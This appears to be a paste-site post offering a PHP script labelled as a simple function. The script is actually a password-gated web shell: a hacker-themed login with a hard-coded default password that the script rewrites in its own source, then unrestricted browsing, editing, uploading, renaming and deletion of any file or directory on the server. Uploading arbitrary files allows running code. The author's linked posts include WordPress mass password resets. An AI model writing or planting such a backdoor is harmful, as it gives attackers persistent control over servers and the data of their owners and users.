zdgtl 11 months ago

Fungsi PHP Sederhana

<?php
session_start();

// Fungsi untuk membaca file PHP ini
function getScriptContent() {
    return file_get_contents(__FILE__);
}

// Fungsi untuk menyimpan konten baru ke file PHP ini
function saveScriptContent($content) {
    file_put_contents(__FILE__, $content);
}

// Password yang benar (ubah sesuai keinginan Anda)
$correct_password = "password123";

// Fungsi untuk mengecek apakah user sudah login
function isLoggedIn() {
    return isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true;
}

// Fungsi untuk menangani login
function handleLogin($password) {
    global $correct_password;
    if ($password === $correct_password) {
        $_SESSION['loggedin'] = true;
        return true;
    }
    return false;
}

// Fungsi untuk mengganti password
function changePassword($new_password) {
    global $correct_password;
    $script_content = getScriptContent();
    $new_script_content = preg_replace(
        '/(\$correct_password\s*=\s*\")[^\"]+(\")/',
        '$1' . addslashes($new_password) . '$2',
        $script_content
    );
    saveScriptContent($new_script_content);
    $_SESSION['correct_password'] = $new_password;
    $correct_password = $new_password;
}

// Fungsi untuk membuat folder
function createFolder($folder_name, $path) {
    $target_dir = rtrim($path, '/') . '/' . $folder_name;
    if (!is_dir($target_dir)) {
        return mkdir($target_dir);
    }
    return false;
}

// Fungsi untuk mengunggah file
function uploadFile($file, $path) {
    $target_file = rtrim($path, '/') . '/' . basename($file["name"]);
    return move_uploaded_file($file["tmp_name"], $target_file);
}

// Fungsi untuk menghapus file
function deleteFile($file_path) {
    if (is_file($file_path)) {
        return unlink($file_path);
    }
    return false;
}

// Fungsi untuk menghapus direktori beserta isinya
function deleteDir($dir_path) {
    if (!is_dir($dir_path)) {
        return false;
    }
    $items = array_diff(scandir($dir_path), ['.', '..']);
    foreach ($items as $item) {
        $full_path = "$dir_path/$item";
        is_dir($full_path) ? deleteDir($full_path) : unlink($full_path);
    }
    return rmdir($dir_path);
}

// Fungsi untuk membuat file baru
function createFile($file_name, $path) {
    $target_file = rtrim($path, '/') . '/' . $file_name;
    if (!file_exists($target_file)) {
        return touch($target_file);
    }
    return false;
}

// Menangani form login
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password']) && !isLoggedIn()) {
    if (handleLogin($_POST['password'])) {
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit();
    } else {
        $login_error = "Password salah!";
    }
}

// Menangani form penggantian password
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_password']) && isLoggedIn()) {
    $new_password = $_POST['new_password'];
    changePassword($new_password);
    $password_change_success = "Password berhasil diganti!";
}

// Menangani form pembuatan folder
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_folder']) && isLoggedIn()) {
    $folder_name = $_POST['folder_name'];
    $current_path = $_POST['current_path'];
    if (createFolder($folder_name, $current_path)) {
        $folder_create_success = "Folder berhasil dibuat.";
    } else {
        $folder_create_error = "Gagal membuat folder.";
    }
}

// Menangani form pengunggahan file
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['submit']) && isLoggedIn()) {
    $current_path = $_POST['current_path'];
    if (uploadFile($_FILES["file"], $current_path)) {
        $file_upload_success = "File berhasil diunggah.";
    } else {
        $file_upload_error = "Gagal mengunggah file.";
    }
}

// Menangani penghapusan file atau direktori setelah form di-submit
if (isset($_GET['delete']) && isLoggedIn()) {
    $path_to_delete = $_GET['delete'];
    if (is_dir($path_to_delete)) {
        if (deleteDir($path_to_delete)) {
            $delete_success = "Direktori berhasil dihapus.";
        } else {
            $delete_error = "Gagal menghapus direktori.";
        }
    } else {
        if (deleteFile($path_to_delete)) {
            $delete_success = "File berhasil dihapus.";
        } else {
            $delete_error = "Gagal menghapus file.";
        }
    }
}

// Menangani pembuatan file baru setelah form di-submit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_file']) && isLoggedIn()) {
    $file_name = $_POST['file_name'];
    $current_path = $_POST['current_path'];
    if (createFile($file_name, $current_path)) {
        $file_create_success = "File berhasil dibuat.";
    } else {
        $file_create_error = "Gagal membuat file.";
    }
}

// Menangani penggantian nama file atau direktori setelah form di-submit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name']) && isset($_POST['old_name']) && isLoggedIn()) {
    $old_name = $_POST['old_name'];
    $new_name = $_POST['new_name'];
    if (rename($old_name, dirname($old_name) . '/' . $new_name)) {
        $rename_success = "Berhasil mengubah nama.";
    } else {
        $rename_error = "Gagal mengubah nama.";
    }
}

// Menangani pengeditan file setelah form di-submit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file_content']) && isset($_POST['file_to_edit']) && isLoggedIn()) {
    $file_to_edit = $_POST['file_to_edit'];
    $new_content = $_POST['file_content'];
    if (file_put_contents($file_to_edit, $new_content) !== false) {
        $file_edit_success = "Berhasil menyimpan perubahan.";
    } else {
        $file_edit_error = "Gagal menyimpan perubahan.";
    }
}

// Menampilkan form login jika user belum login
if (!isLoggedIn()) {
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Login</title>
        <style>
            body {
                background-color: #0f0f0f;
                color: #00ff00;
                font-family: 'Courier New', Courier, monospace;
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100vh;
                margin: 0;
            }
            .login-box {
                background-color: #0b0b0b;
                padding: 20px;
                border: 1px solid #00ff00;
                border-radius: 8px;
                box-shadow: 0 0 10px #00ff00;
            }
            input[type="password"], input[type="submit"] {
                display: block;
                width: 100%;
                padding: 10px;
                margin: 10px 0;
                background-color: #0b0b0b;
                border: 1px solid #00ff00;
                color: #00ff00;
                font-family: 'Courier New', Courier, monospace;
            }
            input[type="submit"] {
                cursor: pointer;
            }
        </style>
    </head>
    <body>
        <div class="login-box">
        <h2>Login</h2>
        <?php if (isset($login_error)): ?>
            <p><?php echo htmlspecialchars($login_error); ?></p>
        <?php endif; ?>
        <form method="post" action="">
            <input type="password" name="password" placeholder="Enter Password" required>
            <input type="submit" value="Login">
        </form>
        </div>
    </body>
    </html>
    <?php
    exit();
}

// Menampilkan form untuk mengganti password jika parameter URL 'change_password' ada
if (isset($_GET['change_password']) && isLoggedIn()) {
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Change Password</title>
    </head>
    <body>
        <h2>Change Password</h2>
        <?php if (isset($password_change_success)): ?>
            <p><?php echo htmlspecialchars($password_change_success); ?></p>
        <?php elseif (isset($password_change_error)): ?>
            <p><?php echo htmlspecialchars($password_change_error); ?></p>
        <?php endif; ?>
        <form method="post" action="">
            <input type="password" name="new_password" placeholder="Enter New Password" required>
            <input type="submit" value="Change Password">
        </form>
    </body>
    </html>
    <?php
    exit();
}

// Menampilkan form untuk mengubah nama file atau direktori
if (isset($_GET['rename']) && isLoggedIn()) {
    $old_name = $_GET['rename'];
    $is_directory = is_dir($old_name);
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Rename <?php echo $is_directory ? 'Directory' : 'File'; ?></title>
    </head>
    <body>
        <h2>Rename <?php echo $is_directory ? 'Directory' : 'File'; ?></h2>
        <form method="post" action="">
            <input type="text" name="new_name" placeholder="Enter New Name" required>
            <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($old_name); ?>">
            <input type="submit" value="Rename">
        </form>
    </body>
    </html>
    <?php
    exit();
}

// Menampilkan form untuk mengedit file
if (isset($_GET['edit_file']) && isLoggedIn()) {
    $file_to_edit = $_GET['edit_file'];
    if (is_file($file_to_edit)) {
        $file_content = file_get_contents($file_to_edit);
        ?>
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>Edit File</title>
        </head>
        <body>
            <h2>Edit File</h2>
            <form method="post" action="">
                <textarea name="file_content" rows="20" cols="100"><?php echo htmlspecialchars($file_content); ?></textarea>
                <input type="hidden" name="file_to_edit" value="<?php echo htmlspecialchars($file_to_edit); ?>">
                <input type="submit" value="Save Changes">
            </form>
        </body>
        </html>
        <?php
        exit();
    }
}

// Menampilkan form untuk membuat folder
if (isset($_GET['create_folder']) && isLoggedIn()) {
    $current_path = $_GET['path'] ?? getcwd();
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Create Folder</title>
    </head>
    <body>
        <h2>Create Folder</h2>
        <form method="post" action="">
            <input type="text" name="folder_name" placeholder="Folder Name" required>
            <input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
            <input type="submit" name="create_folder" value="Create Folder">
        </form>
    </body>
    </html>
    <?php
    exit();
}

// Menampilkan form untuk mengunggah file
if (isset($_GET['upload_file']) && isLoggedIn()) {
    $current_path = $_GET['path'] ?? getcwd();
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Upload File</title>
    </head>
    <body>
        <h2>Upload File</h2>
        <form method="post" enctype="multipart/form-data" action="">
            <input type="file" name="file" required>
            <input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
            <input type="submit" name="submit" value="Upload">
        </form>
    </body>
    </html>
    <?php
    exit();
}

// Menampilkan form untuk membuat file baru
if (isset($_GET['create_file']) && isLoggedIn()) {
    $current_path = $_GET['path'] ?? getcwd();
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Create File</title>
    </head>
    <body>
        <h2>Create File</h2>
        <form method="post" action="">
            <input type="text" name="file_name" placeholder="File Name" required>
            <input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
            <input type="submit" name="create_file" value="Create File">
        </form>
    </body>
    </html>
    <?php
    exit();
}

// Menampilkan konten utama jika user sudah login
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
chdir($path);

// Memecah path menjadi bagian-bagian
$paths = explode(DIRECTORY_SEPARATOR, realpath($path));

// Menampilkan tautan logout dan ganti password
echo "<a href='?logout'>Logout</a> | ";
echo "<a href='?change_password'><button>Ganti Password</button></a> | ";
echo "<a href='?create_folder&path=$path'><button>Create Folder</button></a> | ";
echo "<a href='?create_file&path=$path'><button>Create File</button></a> | ";
echo "<a href='?upload_file&path=$path'><button>Upload File</button></a>";
echo "<hr>";

// Menampilkan jalur direktori saat ini
echo "<h2>Current Path:</h2>";
echo "<p>";
foreach ($paths as $i => $p) {
    if ($i > 0) {
        echo "/";
    }
    echo "<a href='" . $_SERVER['PHP_SELF'] . "?path=";
    for ($j = 0; $j <= $i; $j++) {
        if ($j > 0) {
            echo "/";
        }
        echo $paths[$j];
    }
    echo "'>$p</a>";
}
echo "</p>";

// Menampilkan konten direktori saat ini
echo "<h2>Directory Listing:</h2>";
$items = scandir(getcwd());

echo "<ul>";
foreach ($items as $item) {
    if ($item === "." || $item === "..") {
        continue;
    }
    $full_path = realpath($item);
    if (is_dir($full_path)) {
        echo "<li>[DIR] <a href='" . $_SERVER['PHP_SELF'] . "?path=$full_path'>$item</a></li>";
        echo " <a href='" . $_SERVER['PHP_SELF'] . "?rename=$full_path'>Rename</a>";
        echo " <a href='" . $_SERVER['PHP_SELF'] . "?delete=$full_path'>Delete</a>";
    } else {
        echo "<li>[FILE] <a href='" . $_SERVER['PHP_SELF'] . "?edit_file=$full_path'>$item</a></li>";
        echo " <a href='" . $_SERVER['PHP_SELF'] . "?rename=$full_path'>Rename</a>";
        echo " <a href='" . $_SERVER['PHP_SELF'] . "?delete=$full_path'>Delete</a>";
    }
}
echo "</ul>";

// Menampilkan hasil operasi
function displayOperationResult($success, $error) {
    if ($success) {
        echo "<p>$success</p>";
    }
    if ($error) {
        echo "<p>$error</p>";
    }
}

displayOperationResult($rename_success ?? null, $rename_error ?? null);
displayOperationResult($file_edit_success ?? null, $file_edit_error ?? null);
displayOperationResult($delete_success ?? null, $delete_error ?? null);
displayOperationResult($file_create_success ?? null, $file_create_error ?? null);
displayOperationResult($folder_create_success ?? null, $folder_create_error ?? null);
displayOperationResult($file_upload_success ?? null, $file_upload_error ?? null);
?>


0
507

PMA Multiple Check

1743468932.jpg
zdgtl
4 months ago
Url Extractor Python Script

Url Extractor Python Script

1743468932.jpg
zdgtl
11 months ago
Mass Users Password Reset for wordpress

Mass Users Password Reset for wordpress

1743468932.jpg
zdgtl
11 months ago
Reverse Domain

Reverse Domain

1743468932.jpg
zdgtl
11 months ago
Extract email addresses from a text file using notepad++

Extract email addresses from a text file using notepad++

1743468932.jpg
zdgtl
11 months ago